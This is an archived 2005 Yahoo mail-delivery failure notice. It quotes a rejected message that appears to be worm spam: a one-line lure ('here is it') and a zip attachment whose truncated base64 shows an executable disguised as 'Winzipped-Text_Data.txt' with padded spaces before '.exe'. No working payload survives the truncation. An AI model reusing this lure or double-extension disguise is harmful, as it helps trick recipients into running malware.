failure delivery

[MAILER-DAEMON]

Message from  yahoo.com.
Unable to deliver message to the following address(es).

<address@hidden>:
216.145.48.97 does not like recipient.
Remote host said: 550 5.1.1 <address@hidden>... User unknown
Giving up on 216.145.48.97.

<address@hidden>:
216.109.112.71 failed after I sent the message.
Remote host said: 554 5.6.1 Certain attachments are not allowed for security 
reasons.Your message has been rejected.

--- Original message follows.

Return-Path: <address@hidden>

The original message is over 5k.  Message truncated to 1K.

X-Rocket-Spam: 217.81.10.171
X-YahooFilteredBulk: 217.81.10.171
X-Rocket-Track: 8395494: 20 ; SFLAG=OPENRELAY ; IPCR=g-w0,n0,g100 ; 
IP=217.81.10.171 ; SERVER=68.142.202.233
Authentication-Results: mta186.mail.mud.yahoo.com
  from=gnu.org; domainkeys=neutral (no sig)
X-Originating-IP: [217.81.10.171]
Return-Path: <address@hidden>
Received: from 217.81.10.171  (HELO kuotfdrs.org) (217.81.10.171)
  by mta186.mail.mud.yahoo.com with SMTP; Tue, 03 May 2005 00:16:59 -0700
From: address@hidden
Date: Tue, 03 May 2005 06:56:43 GMT
Subject: Re:
Importance: Normal
X-Priority: 3 (Normal)
Message-ID: <address@hidden>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=====02b34a035c260e5a.5a"
Content-Transfer-Encoding: 7bit
This is a multi-part message in MIME format.

--=====02b34a035c260e5a.5a

ok ok ok,,,,, here is it
--=====02b34a035c260e5a.5a
Content-Type: application/octet-stream; name=our_secret.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="our_secret.zip"

UEsDBAoAAAAAAAGAojKuS6g1MtEAADLRAAAmAAAAV2luemlwcGVkLVRleHRfRGF0YS50eHQgICAg
ICAgICAgIC5leGVNWpAAAwAAAAQAAAD//wAA
*** MESSAGE TRUNCATED ***